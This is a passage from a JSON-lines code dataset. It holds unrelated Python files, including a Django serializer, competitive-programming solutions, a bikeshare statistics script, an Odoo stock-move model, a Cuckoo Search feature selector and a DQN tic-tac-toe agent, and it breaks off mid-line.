'junctionBoxManufacturer')\r\nclass CertificateSerializer(serializers.ModelSerializer):\r\n class Meta:\r\n model = Certificate\r\n fields = ('id', 'certificateNumber', 'certID', 'userID', 'reportNumber', 'issueDate', 'standardID', 'locationID', 'modelNumber')\r\nclass ServiceSerializer(serializers.ModelSerializer):\r\n class Meta:\r\n model = Service\r\n fields = ('id','serviceID','serviceName','description','isFIRequired','FIfrequency','standardID')\r\n","sub_path":"solarpv/API/serializer.py","file_name":"serializer.py","file_ext":"py","file_size_in_byte":1306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"381167649","text":"\nfrom worldbuilder import PlayerState\n\nfrom textgenerator import *\n\n\n\n\n\ndef handle_game_state_enter(world, console, player_enter):\n\n #If the step buffer is empty, the player arrives at the target location. the players location is changed to the new one, some variables are reset and the gamestate is set to idle.\n if not world.step_buffer:\n console.rule(title=\"Going to the {0}\".format(world.travel_target.name.title()), style=\" white\")\n\n world.player_location = world.travel_target\n\n #\n console.print(\"I have arrived {0} the {1}.\\n\".format(world.travel_target.preposition, world.travel_target.name))\n\n console.print(\"This space will eventually present you with [yellow]Events and Encounters[/].\\n\")\n\n world.travel_target = None\n world.exiting = None\n world.player_status = PlayerState.IDLE\n world.first_step = False\n player_enter = True\n\n #If it is the first step on the way to a location a message is shown informing the player of their familiarity with the current location.\n else:\n\n if world.first_step:\n console.rule(title=\"Going to the {0}\".format(world.travel_target.name.title()), style=\" white\")\n\n world.first_step = False\n\n console.print(\"I am now headed for the {0}.\\n\".format(world.travel_target.name))\n\n if not world.player_location.location_level == 3:\n\n console.print(\"I am {0} with the {1}, this will affect my ability to safely find my way around.\\n\".format(return_familiarity(world.player_location), world.player_location.name))\n\n else:\n console.print(\"I am {0} with the {1}, this will affect my ability to safely find my way around.\\n\".format(return_familiarity(world.player_location.owner), world.player_location.owner.name))\n\n console.print(\"This space will eventually present you with [yellow]Events and Encounters[/].\\n\")\n player_enter = True\n\n # If it is neither the first, not last step taken, nothing happens. The game loops still processes the steps in the background.\n else:\n\n pass\n # add travel events here\n\n\n\n\n return player_enter","sub_path":"gamestate_enter.py","file_name":"gamestate_enter.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"299750973","text":"gene1=input()\ngene2=input()\n\nn=min(len(gene1),len(gene2))\nz=0\nif sorted(gene1)==sorted(gene2):\n for t in range(n):\n if gene1[t]!=gene2[t]:\n z+=1\n if z==2:\n print(\"YES\")\n else:\n print(\"NO\")\nelse:\n print(\"NO\")\n\n\n","sub_path":"186A - comparing strings codeforces.py","file_name":"186A - comparing strings codeforces.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"331280402","text":"\"\"\"\n문제: https://www.acmicpc.net/problem/2263\n\"\"\"\n\nn = int(input())\nin_order = list(map(int, input().split()))\npost_order = list(map(int, input().split()))\n\nin_order_map = [-1 for _ in range(n + 1)]\nfor i in range(n):\n in_order_map[in_order[i]] = i\n\nstack = [(0, n - 1, 0, n - 1)]\npre_order = \"\"\nwhile len(stack) != 0:\n (in_left, in_right, post_left, post_right) = stack.pop()\n root = post_order[post_right]\n pre_order += str(root) + \" \"\n center = in_order_map[root]\n right = center - in_left\n if center + 1 <= in_right:\n stack.append((center + 1, in_right, post_left + right, post_right - 1))\n if in_left <= center - 1:\n stack.append((in_left, center - 1, post_left, post_left + right - 1))\n\nprint(pre_order)\n","sub_path":"2263/2263.py","file_name":"2263.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"368568714","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n# from trainer import Trainer\nimport pyximport\npyximport.install()\nfrom cython_train.trainer_cython import Trainer\nfrom ssd_v2 import SSD300v2\nimport keras\nimport argparse\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Training ssd model with keras\")\n parser.add_argument(\"-c\", \"--class_number\", metavar=\"class_number\",\n type=int, default=21,\n dest=\"class_number\", help=\"set the classify number \")\n parser.add_argument(\"-b\", \"--prior_boxes_ssd300\", metavar=\"prior_boxes_ssd300\",\n type=str, default='prior_boxes_ssd300.pkl',\n dest=\"prior_boxes_ssd300\", help=\"set the prior boxes file\")\n parser.add_argument(\"-t\", \"--train_file\", metavar=\"train_file\",\n type=str, default='VOC2007.pkl',\n dest=\"train_file\", help=\"set the train file\")\n parser.add_argument(\"-p\", \"--path_prefix\", metavar=\"path_prefix\",\n type=str, default='./VOCdevkit/VOC2007/JPEGImages/',\n dest=\"path_prefix\", help=\"set the path prefix\")\n parser.add_argument(\"-w\", \"--weight_file\", metavar=\"weight_file\",\n type=str, default='weights_SSD300.hdf5',\n dest=\"weight_file\", help=\"set the weight file\")\n parser.add_argument(\"-s\", \"--save_weight_file\", metavar=\"save_weight_file\",\n type=str,\n default='./resource/checkpoints/weights.{epoch:02d}-{val_loss:.2f}.hdf5',\n dest=\"save_weight_file\", help=\"set the save weight file\")\n parser.add_argument(\"-n\", \"--nb_epoch\", metavar=\"nb_epoch\",\n type=int,\n default=100,\n dest=\"nb_epoch\", help=\"set the number of epoch\")\n args = parser.parse_args()\n input_shape = (300, 300, 3)\n model = SSD300v2(input_shape, num_classes=args.class_number)\n base_lr=3e-4\n trainer = Trainer(class_number=args.class_number,\n input_shape=input_shape,\n priors_file=args.prior_boxes_ssd300,\n train_file=args.train_file,\n path_prefix=args.path_prefix,\n model=model,\n weight_file=args.weight_file,\n freeze=('input_1', 'conv1_1', 'conv1_2', 'pool1',\n 'conv2_1', 'conv2_2', 'pool2',\n 'conv3_1', 'conv3_2', 'conv3_3', 'pool3'),\n save_weight_file=args.save_weight_file,\n optim=keras.optimizers.Adam(lr=base_lr),\n )\n trainer.train(nb_epoch=args.nb_epoch)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"detection/run_ssd_trainer.py","file_name":"run_ssd_trainer.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"74513456","text":"\"\"\"\n1266. Minimum Time Visiting All Points\n\nOn a 2D plane, there are n points with integer coordinates points[i] = [xi, yi]. Return the minimum time in seconds to visit all the points in the order given by points.\n\nYou can move according to these rules:\n\nIn 1 second, you can either:\nmove vertically by one unit,\nmove horizontally by one unit, or\nmove diagonally sqrt(2) units (in other words, move one unit vertically then one unit horizontally in 1 second).\nYou have to visit the points in the same order as they appear in the array.\nYou are allowed to pass through points that appear later in the order, but these do not count as visits.\n\"\"\"\n\nclass Solution:\n def minTimeToVisitAllPoints(self, points: List[List[int]]) -> int:\n time = 0\n if len(points)<=1:\n return time\n prev = points[0]\n for cur in points[1:]:\n time += max(abs(cur[0]-prev[0]), abs(cur[1]-prev[1]))\n prev = cur\n return time\n\n\"\"\"\nRuntime: 60 ms, faster than 60.34% of Python3 online submissions for Minimum Time Visiting All Points.\nMemory Usage: 14.5 MB, less than 6.53% of Python3 online submissions for Minimum Time Visiting All Points.\n\"\"\"\n","sub_path":"Python/#1266.py","file_name":"#1266.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"547722991","text":"import time\nimport pandas as pd\nimport numpy as np\nimport math\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n 'new york city': 'new_york_city.csv',\n 'washington': 'washington.csv' }\n\ndef get_filters():\n \"\"\"\n Asks user to specify a city, month, and day to analyze.\n\n Returns:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n \"\"\"\n print('Hello! Let\\'s explore some US bikeshare data!')\n\n # TO DO: get user input for city (chicago, new york city, washington). HINT: Use a while loop to handle invalid inputs\n\n city = ''\n while city not in CITY_DATA:\n city = input(\"\\nEnter city name to explore data: \").lower()\n if city not in CITY_DATA:\n print(\"\\nSorry! We don't track {}. Please insert 'chicago', 'new york city', or 'washington' only\\n\".format(city))\n else:\n print(\"\\nWe have {} in our data set!\".format(city))\n\n # TO DO: get user input for month (all, january, february, ... , june)\n months = {'all', 'january', 'february', 'march', 'april', 'may', 'june'}\n month = ''\n while month not in months:\n month = input(\"\\nWhich month would you like to filter by? You can select any month in the first half of the year, or select 'all': \").lower()\n if month not in months:\n print(\"\\nTry again! Please choose from one of the following {}\".format(months))\n else:\n print(\"\\nYou selected {}!\".format(month))\n\n # TO DO: get user input for day of week (all, monday, tuesday, ... sunday)\n days = {'all', 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday'}\n day = ''\n while day not in days:\n day = input(\"Which day of the week? Please enter the full name for the day e.g. sunday, or select all: \").lower()\n if day not in days:\n print(\"\\nTry Again! Don't forget to spell day of the week correctly, or select all!\")\n else:\n print(\"\\n You selected {}!\".format(day))\n\n print('-'*20)\n return city, month, day\n\n\ndef load_data(city, month, day):\n \"\"\"\n Loads data for the specified city and filters by month and day if applicable.\n\n Args:\n (str) city - name of the city to analyze\n (str) month - name of the month to filter by, or \"all\" to apply no month filter\n (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n Returns:\n df - Pandas DataFrame containing city data filtered by month and day\n \"\"\"\n # load data file into a dataframe\n df = pd.read_csv(CITY_DATA[city])\n\n # convert the Start Time column to datetime\n df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n # extract month and day of week from Start Time to create new columns\n df['month'] = df['Start Time'].dt.month\n df['day_of_week'] = df['Start Time'].dt.weekday_name\n df['month_name'] = df['Start Time'].dt.strftime('%B')\n df['start_hour'] = df['Start Time'].dt.hour\n\n\n # filter by month if applicable\n if month != 'all':\n # use the index of the months list to get the corresponding int\n months = ['january', 'february', 'march', 'april', 'may', 'june']\n month = months.index(month) + 1\n\n # filter by month to create the new dataframe\n df = df[df['month'] == month]\n\n # filter by day of week if applicable\n if day != 'all':\n # filter by day of week to create the new dataframe\n df = df[df['day_of_week'] == day.title()]\n\n return df\n\n\ndef time_stats(df):\n \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n print('\\nCalculating The Most Frequent Times of Travel...\\n')\n start_time = time.time()\n\n # TO DO: display the most common month\n popular_month = df['month_name'].mode()[0]\n print(\"\\nThe most popular month for bike rentals is {}.\".format(popular_month))\n\n # TO DO: display the most common day of week\n popular_day = df['day_of_week'].mode()[0]\n print(\"\\nThe most popular day of the week for bike rentals is {}.\".format(popular_day))\n\n # TO DO: display the most common start hour\n popular_start_hour = df['start_hour'].mode()[0]\n print(\"\\nThe most popular hour of the day for bike rentals is {}.\".format(popular_start_hour))\n\n print('-'*20)\n\n\ndef station_stats(df):\n \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n print('\\nCalculating The Most Popular Stations and Trip...\\n')\n start_time = time.time()\n\n # TO DO: display most commonly used start station\n popular_start_station = df['Start Station'].mode()[0]\n print(\"\\nThe most popular start station is {}.\".format(popular_start_station))\n\n # TO DO: display most commonly used end station\n popular_end_station = df['End Station'].mode()[0]\n print(\"\\nThe most popular end station is {}.\".format(popular_end_station))\n\n # TO DO: display most frequent combination of start station and end station trip\n df['Popular Start-End Combo'] = (df['Start Station'] + \" to \" + df['End Station'])\n popular_start_end_combo = df['Popular Start-End Combo'].mode()[0]\n print(\"\\nThe most popular station combination is {}.\".format(popular_start_end_combo))\n\n print('-'*20)\n\n\ndef trip_duration_stats(df):\n \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n print('\\nCalculating Trip Duration...\\n')\n start_time = time.time()\n\n # TO DO: display total travel time\n total_travel_time = round(df['Trip Duration'].sum())\n print(\"\\nThe total travel time was {} seconds.\".format(total_travel_time))\n\n # TO DO: display mean travel time\n average_travel_time = round(df['Trip Duration'].mean())\n print(\"\\nThe average travel time was {} seconds.\".format(average_travel_time))\n\n print('-'*20)\n\n\ndef user_stats(df):\n \"\"\"Displays statistics on bikeshare users.\"\"\"\n\n print('\\nCalculating User Stats...\\n')\n start_time = time.time()\n\n # TO DO: Display counts of user types\n user_types = df['User Type'].value_counts()\n print(\"\\nThe number are user types are as follows:\\n\")\n print(user_types)\n print()\n\n\n # TO DO: Display counts of gender\n if 'Gender' in df.columns:\n gender = df['Gender'].value_counts()\n print(\"\\nThe number of rentals per gender are as follows:\\n\")\n print(gender)\n print()\n else:\n print(\"\\nSorry, this city doesn't have gender data.\")\n print()\n\n\n # TO DO: Display earliest, most recent, and most common year of birth\n if 'Birth Year' in df.columns:\n earliest_birthyear = int(np.nanmin(df['Birth Year']))\n print(\"\\nFor bike renters, {} is the earliest birth year.\".format(earliest_birthyear))\n recent_birthyear = int(np.nanmax(df['Birth Year']))\n print(\"\\nFor bike renters, {} is the most recent birth year.\".format(recent_birthyear))\n most_common_birthyear = int((df['Birth Year']).mode()[0])\n print(\"\\nFor bike renters, {} is the most common birth year.\".format(most_common_birthyear))\n else:\n print(\"\\nSorry, this city doesn't have birth year data.\")\n\n\n print('-'*20)\n\n\ndef main():\n while True:\n city, month, day = get_filters()\n df = load_data(city, month, day)\n\n time_stats(df)\n station_stats(df)\n trip_duration_stats(df)\n user_stats(df)\n\n more_data = input('\\nWould you like to see some data? Enter yes or no.\\n')\n if more_data.lower() == 'yes':\n print(df.head())\n print()\n\n restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n if restart.lower() != 'yes':\n break\n\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"bikeshare_project.py","file_name":"bikeshare_project.py","file_ext":"py","file_size_in_byte":7784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"635394024","text":"import sys\nimport matplotlib.pyplot as plt\ninput_list = list(map(str, sys.stdin.readlines()))\ncounter=len(input_list)\nlist_memory=input_list\nreg={'000':'R0','001':'R1','010':'R2','011':'R3','100':'R4','101':'R5','110':'R6','111':'FLAGS'}\nreg_value={'R0':0,'R1':0,'R2':0,'R3':0,'R4':0,'R5':0,'R6':0,'FLAGS':0}\noutput_list=[]\nvar_dict = {}\nvar_count = 0\ncycle_x = []\ncycle_y = []\ncycle_ldst = []\ncycle_counter = 0\n\n\nPC=0\nwhile(PC=65536):\n reg_value[\"FLAGS\"]+=8\n reg_value[reg1]= reg_value[reg1]%65536\n #subtract\n if(x[0:5]==\"00001\"): \n reg1=reg[x[7:10]]\n reg2=reg[x[10:13]]\n reg3=reg[x[13:16]]\n reg_value[reg1]=reg_value[reg2]-reg_value[reg3] \n if(reg_value[reg1]<0):\n reg_value[\"FLAGS\"]+=8\n reg_value[reg1]=0\n \n #multiply \n if(x[0:5]==\"00110\"):\n reg1=reg[x[7:10]]\n reg2=reg[x[10:13]]\n reg3=reg[x[13:16]]\n reg_value[reg1]=reg_value[reg2]*reg_value[reg3]\n if(reg_value[reg1]>=65536 ):\n reg_value[\"FLAGS\"]+=8\n reg_value[reg1]= reg_value[reg1]%65536\n\n #xor\n if(x[0:5]==\"01010\"):\n reg1=reg[x[7:10]]\n reg2=reg[x[10:13]]\n reg3=reg[x[13:16]]\n reg_value[reg1]=reg_value[reg2]^reg_value[reg3]\n \n #or\n if(x[0:5]==\"01011\"):\n reg1=reg[x[7:10]]\n reg2=reg[x[10:13]]\n reg3=reg[x[13:16]]\n reg_value[reg1]=reg_value[reg2]|reg_value[reg3]\n \n #and\n if(x[0:5]==\"01100\"):\n reg1=reg[x[7:10]]\n reg2=reg[x[10:13]]\n reg3=reg[x[13:16]]\n reg_value[reg1]=reg_value[reg2] & reg_value[reg3]\n \n #mov_imm\n if(x[0:5]==\"00010\"):\n reg1=reg[x[5:8]]\n imm=int(x[8:16],2)\n reg_value[reg1]=imm\n \n #mov_reg\n if(x[0:5]==\"00011\"):\n reg1=reg[x[10:13]]\n reg2=reg[x[13:16]]\n if(reg2==\"FLAGS\"):\n reg_value[reg1]=flag_val\n else:\n reg_value[reg1]=reg_value[reg2]\n \n #left_shift \n if(x[0:5]==\"01001\"):\n reg1=reg[x[5:8]]\n imm=int(x[8:16],2)\n reg_value[reg1]= int(reg_value[reg1])<=65536):\n reg_value[\"FLAGS\"]+=8\n reg_value[reg1]= reg_value[reg1]%65536\n \n #right_shift \n if(x[0:5]==\"01000\"): \n reg1=reg[x[5:8]]\n imm=int(x[8:16],2)\n reg_value[reg1]= int(reg_value[reg1])>>imm\n \n #divide \n if(x[0:5]==\"00111\"): \n reg1=reg[x[10:13]]\n reg2=reg[x[13:16]]\n reg_value[\"R0\"]=int(reg_value[reg1]/reg_value[reg2])\n reg_value[\"R1\"]=reg_value[reg1]%reg_value[reg2]\n \n #compare\n if(x[0:5]==\"01110\"): \n reg1=reg[x[10:13]]\n reg2=reg[x[13:16]]\n if reg_value[reg1]>reg_value[reg2]:\n reg_value[\"FLAGS\"]+=2\n elif reg_value[reg1] 0.00)\n for move in moves_with_weight:\n move.weight = (move.product_qty * move.product_id.weight)\n (self - moves_with_weight).weight = 0\n\n def _get_new_picking_values(self):\n vals = super(StockMove, self)._get_new_picking_values()\n vals['carrier_id'] = self.mapped('sale_line_id.order_id.carrier_id').id\n return vals\n\n def _key_assign_picking(self):\n keys = super(StockMove, self)._key_assign_picking()\n return keys + (self.sale_line_id.order_id.carrier_id,)\n\nclass StockMoveLine(models.Model):\n _inherit = 'stock.move.line'\n\n sale_price = fields.Float(compute='_compute_sale_price')\n\n @api.depends('qty_done', 'product_uom_id', 'product_id', 'move_id.sale_line_id', 'move_id.sale_line_id.price_reduce_taxinc', 'move_id.sale_line_id.product_uom')\n def _compute_sale_price(self):\n for move_line in self:\n if move_line.move_id.sale_line_id:\n unit_price = move_line.move_id.sale_line_id.price_reduce_taxinc\n qty = move_line.product_uom_id._compute_quantity(move_line.move_id.sale_line_id.product_qty, move_line.move_id.sale_line_id.product_uom)\n else:\n unit_price = move_line.product_id.list_price\n qty = move_line.product_uom_id._compute_quantity(move_line.qty_done, move_line.product_id.uom_id)\n move_line.sale_price = unit_price * qty\n\n def _get_aggregated_product_quantities(self, **kwargs):\n \"\"\"Returns dictionary of products and corresponding values of interest + hs_code\n\n Unfortunately because we are working with aggregated data, we have to loop through the\n aggregation to add more values to each datum. This extension adds on the hs_code value.\n\n returns: dictionary {same_key_as_super: {same_values_as_super, hs_code}, ...}\n \"\"\"\n aggregated_move_lines = super()._get_aggregated_product_quantities(**kwargs)\n for aggregated_move_line in aggregated_move_lines:\n hs_code = aggregated_move_lines[aggregated_move_line]['product'].product_tmpl_id.hs_code\n aggregated_move_lines[aggregated_move_line]['hs_code'] = hs_code\n return aggregated_move_lines\n","sub_path":"addons/delivery/models/stock_move.py","file_name":"stock_move.py","file_ext":"py","file_size_in_byte":2700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"567516778","text":"\n\nfrom xai.brain.wordbase.nouns._family import _FAMILY\n\n#calss header\nclass _FAMILIES(_FAMILY, ):\n\tdef __init__(self,): \n\t\t_FAMILY.__init__(self)\n\t\tself.name = \"FAMILIES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"family\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_families.py","file_name":"_families.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"460983179","text":"\"\"\"\nProgrammer: Trinav Bhattacharyya\nDate of Development: 18/10/2020\nThis code has been developed according to the procedures mentioned in the following research article:\nX.-S. Yang, S. Deb, “Cuckoo search via L´evy flights”, in: Proc. of\nWorld Congress on Nature & Biologically Inspired Computing (NaBIC 2009),\nDecember 2009, India. IEEE Publications, USA, pp. 210-214 (2009).\n\n\"\"\"\n\nimport numpy as np\nimport time\nimport matplotlib.pyplot as plt\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import datasets\n\nfrom Py_FS.wrapper.nature_inspired._utilities import Solution, Data, initialize, sort_agents, display, compute_fitness\nfrom Py_FS.wrapper.nature_inspired._transfer_functions import get_trans_function\n# from _utilities import Solution, Data, initialize, sort_agents, display, compute_fitness\n\ndef CS (num_agents, max_iter, train_data, train_label, obj_function=compute_fitness, trans_function_shape='s', save_conv_graph=False):\n \n # Cuckoo Search Algorithm\n ############################### Parameters ####################################\n # #\n # num_agents: number of agents #\n # max_iter: maximum number of generations #\n # train_data: training samples of data #\n # train_label: class labels for the training samples # \n # obj_function: the function to maximize while doing feature selection #\n # trans_function_shape: shape of the transfer function used #\n # save_conv_graph: boolean value for saving convergence graph #\n # #\n ###############################################################################\n\n short_name = 'CS'\n agent_name = 'Agent'\n num_features = train_data.shape[1]\n trans_function = get_trans_function(trans_function_shape)\n\n # setting up the objectives\n weight_acc = None\n if(obj_function==compute_fitness):\n weight_acc = float(input('Weight for the classification accuracy [0-1]: '))\n obj = (obj_function, weight_acc)\n compute_accuracy = (compute_fitness, 1) # compute_accuracy is just compute_fitness with accuracy weight as 1\n\n # initializing cuckoo and host nests\n levy_flight = np.random.uniform(low=-2, high=2, size=(num_features))\n cuckoo = np.random.randint(low=0, high=2, size=(num_features))\n nest = initialize(num_agents, num_features)\n nest_fitness = np.zeros(num_agents)\n nest_accuracy = np.zeros(num_agents)\n cuckoo_fitness = float(\"-inf\")\n Leader_agent = np.zeros((num_features))\n Leader_fitness = float(\"-inf\")\n Leader_accuracy = float(\"-inf\")\n p_a=0.25 # fraction of nests to be replaced \n\n # initialize convergence curves\n convergence_curve = {}\n convergence_curve['fitness'] = np.zeros(max_iter)\n convergence_curve['feature_count'] = np.zeros(max_iter)\n\n # initialize data class\n data = Data()\n val_size = float(input('Enter the percentage of data wanted for valdiation [0, 100]: '))/100\n data.train_X, data.val_X, data.train_Y, data.val_Y = train_test_split(train_data, train_label, stratify=train_label, test_size=val_size)\n\n # create a solution object\n solution = Solution()\n solution.num_agents = num_agents\n solution.max_iter = max_iter\n solution.num_features = num_features\n solution.obj_function = obj_function\n\n # rank initial nests\n nest, nest_fitness = sort_agents(nest, obj, data)\n\n # start timer\n start_time = time.time()\n\n # main loop\n for iter_no in range(max_iter):\n print('\\n================================================================================')\n print(' Iteration - {}'.format(iter_no+1))\n print('================================================================================\\n')\n\n # updating leader nest\n if nest_fitness[0] > Leader_fitness:\n Leader_agent = nest[0].copy()\n Leader_fitness = nest_fitness[0]\n\n # get new cuckoo\n levy_flight = get_cuckoo(levy_flight)\n for j in range(num_features):\n if trans_function(levy_flight[j]) > np.random.random():\n cuckoo[j]=1\n else:\n cuckoo[j]=0\n\n # check if a nest needs to be replaced\n j = np.random.randint(0,num_agents)\n if cuckoo_fitness > nest_fitness[j]:\n nest[j] = cuckoo.copy()\n nest_fitness[j] = cuckoo_fitness\n\n nest, nest_fitness = sort_agents(nest, obj, data)\n\n # eliminate worse nests and generate new ones\n nest = replace_worst(nest, p_a)\n\n nest, nest_fitness = sort_agents(nest, obj, data)\n\n # update final information\n display(nest, nest_fitness, agent_name)\n\n if nest_fitness[0]>Leader_fitness:\n Leader_agent = nest[0].copy()\n Leader_fitness = nest_fitness[0].copy()\n\n convergence_curve['fitness'][iter_no] = Leader_fitness\n convergence_curve['feature_count'][iter_no] = int(np.sum(Leader_agent))\n\n # compute final accuracy\n Leader_agent, Leader_accuracy = sort_agents(Leader_agent, compute_accuracy, data)\n nest, nest_accuracy = sort_agents(nest, compute_accuracy, data)\n\n print('\\n================================================================================')\n print(' Final Result ')\n print('================================================================================\\n')\n print('Leader ' + agent_name + ' Dimension : {}'.format(int(np.sum(Leader_agent))))\n print('Leader ' + agent_name + ' Fitness : {}'.format(Leader_fitness))\n print('Leader ' + agent_name + ' Classification Accuracy : {}'.format(Leader_accuracy))\n print('\\n================================================================================\\n')\n\n # stop timer\n end_time = time.time()\n exec_time = end_time - start_time\n\n # plot convergence curves\n iters = np.arange(max_iter)+1\n fig, axes = plt.subplots(2, 1)\n fig.tight_layout(pad = 5)\n fig.suptitle('Convergence Curves')\n\n axes[0].set_title('Convergence of Fitness over Iterations')\n axes[0].set_xlabel('Iteration')\n axes[0].set_ylabel('Fitness')\n axes[0].plot(iters, convergence_curve['fitness'])\n\n axes[1].set_title('Convergence of Feature Count over Iterations')\n axes[1].set_xlabel('Iteration')\n axes[1].set_ylabel('Number of Selected Features')\n axes[1].plot(iters, convergence_curve['feature_count'])\n \n if(save_conv_graph):\n plt.savefig('convergence_graph_'+ short_name + '.jpg')\n plt.show()\n\n\n # update attributes of solution\n solution.best_agent = Leader_agent\n solution.best_fitness = Leader_fitness\n solution.best_accuracy = Leader_accuracy\n solution.convergence_curve = convergence_curve\n solution.final_population = nest\n solution.final_fitness = nest_fitness\n solution.final_accuracy = nest_accuracy\n solution.execution_time = exec_time\n\n return solution\n\ndef get_cuckoo(agent, alpha=np.random.randint(-2,3)):\n features = len(agent)\n lamb = np.random.uniform(low=-3, high=-1, size=(features))\n levy = np.zeros((features))\n get_test_value = 1/(np.power((np.random.normal(0,1)),2))\n for j in range(features):\n levy[j] = np.power(get_test_value, lamb[j]) #Eq 2\n for j in range(features):\n agent[j]+=(alpha*levy[j]) #Eq 1\n\n return agent\n\ndef replace_worst(agent, fraction):\n pop, features = agent.shape\n for i in range(int((1-fraction)*pop), pop):\n agent[i] = np.random.randint(low=0, high=2, size=(features))\n if np.sum(agent[i])==0:\n agent[i][np.random.randint(0,features)]=1\n\n return agent\n\nif __name__ == '__main__':\n iris = datasets.load_iris()\n CS(10, 20, iris.data, iris.target, save_conv_graph=True)","sub_path":"build/lib/Py_FS/wrapper/nature_inspired/CS.py","file_name":"CS.py","file_ext":"py","file_size_in_byte":8097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"535670389","text":"# -*- coding: utf-8 -*-\nimport random\nimport gym\nimport numpy as np\nfrom collections import deque\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense,Convolution2D,Flatten,Conv1D,Conv2D\nfrom keras.optimizers import Adam\nimport EnvJeu\nimport matplotlib.pyplot\nimport copy\n\n\n\n#from stable_baselines.common.policies import MlpPolicy\n#from stable_baselines.common.vec_env import DummyVecEnv\n#from stable_baselines import PPO2\n#from env import MorpionEnv\n\n\n\n\nEPISODES = 10000\nplay = False\n\nclass DQNAgent:\n def __init__(self, state_size, action_size):\n self.state_size = state_size\n self.action_size = action_size\n self.memory = deque(maxlen=2000)\n self.gamma = 0.95 # discount rate\n self.epsilon = 1.0 # exploration rate\n if(play):\n self.epsilon = 0.0\n else:\n self.epsilon = 1.0\n self.epsilon_min = 0.01\n self.epsilon_decay = 0.995\n self.learning_rate = 0.001\n self.model = self._build_model()\n\n def _build_model(self):\n # Neural Net for Deep-Q learning Model\n model = Sequential()\n model.add(Dense(24, input_dim=self.state_size, activation='relu'))\n model.add(Dense(24, activation='relu'))\n model.add(Dense(24, activation='relu'))\n model.add(Dense(self.action_size, activation='linear'))\n model.compile(loss='mse',\n optimizer=Adam(lr=self.learning_rate))\n return model\n\n def memorize(self, state, action, reward, next_state, done):\n self.memory.append((state, action, reward, next_state, done))\n\n def act(self, state):\n if np.random.rand() <= self.epsilon:\n return random.randrange(self.action_size)\n state = state + [state]\n act_values = self.model.predict(state)\n if(play):\n print(\"Reward esperee :\" + str(np.max(act_values[0])))\n return np.argmax(act_values[0]) # returns action\n\n def replay(self, batch_size):\n minibatch = random.sample(self.memory, batch_size)\n for state, action, reward, next_state, done in minibatch:\n target = reward\n if(done==False):\n next_state = next_state + [next_state]\n target = (reward + self.gamma *\n np.amax(self.model.predict(next_state)[0]))\n state = state + [state]\n target_f = self.model.predict(state)\n target_f[0][action] = target\n self.model.train_on_batch(state, target_f)\n if self.epsilon > self.epsilon_min:\n self.epsilon *= self.epsilon_decay\n\n def load(self, name):\n self.model.load_weights(name)\n\n def save(self, name):\n self.model.save_weights(name)\n\n\nif __name__ == \"__main__\":\n\n #env = DummyVecEnv([lambda: MorpionEnv()])\n #model = PPO2(MlpPolicy, env, learning_rate=0.001)\n #model.learn(500000)\n\n\n\n #env = gym.make('CartPole-v1')\n env = EnvJeu.EnvJeu()\n state_size = 9#env.observation_space.shape[0]\n action_size = 9#env.action_space.n\n agent = DQNAgent(state_size, action_size)\n #agent.load(\"C:/Users/oreil/source/repos/PythonApplicationEvolutionGen/PythonApplicationEvolutionGen/morpion-dqn_vs_self_v4.h5\")\n\n #On enregistre quelques parties\n #for i in range(20):\n # done = False\n # listeMove = []\n # state = env.reset()\n # listeMove.append(copy.copy(state))\n # state = np.reshape(state, [1, state_size])\n # while(done == False):\n # action = agent.act(state)\n # next_state, reward, done = env.step(action,True,False)\n # listeMove.append(copy.copy(next_state))\n\n # next_state = env.monMorpion.getListePionJ_DEUX()\n # next_state = np.reshape(next_state, [1, state_size])\n # state = next_state\n\n # if(reward == -50):\n # done = True\n # env.monMorpion.enregistrerPartie(np.asarray(listeMove),'MES_PARTIES_1_vs_self.txt',i)\n # continue\n\n # action = agent.act(state)\n # next_state, reward, done = env.step(action,False,True)\n \n\n # next_state = env.monMorpion.getListePionJ_UN()\n # listeMove.append(copy.copy(next_state))\n # next_state = np.reshape(next_state, [1, state_size])\n # state = next_state\n\n # if(reward == -50):\n # done = True\n\n # if done:\n # env.monMorpion.enregistrerPartie(np.asarray(listeMove),'MES_PARTIES_1_vs_self.txt',i)\n\n #On joue quelques parties\n if(play):\n for i in range(20):\n done = False\n listeMove = []\n state = env.reset()\n print(\"Partie n° \" + str(i))\n env.render()\n state = np.reshape(state, [1, state_size])\n while(done == False):\n action = 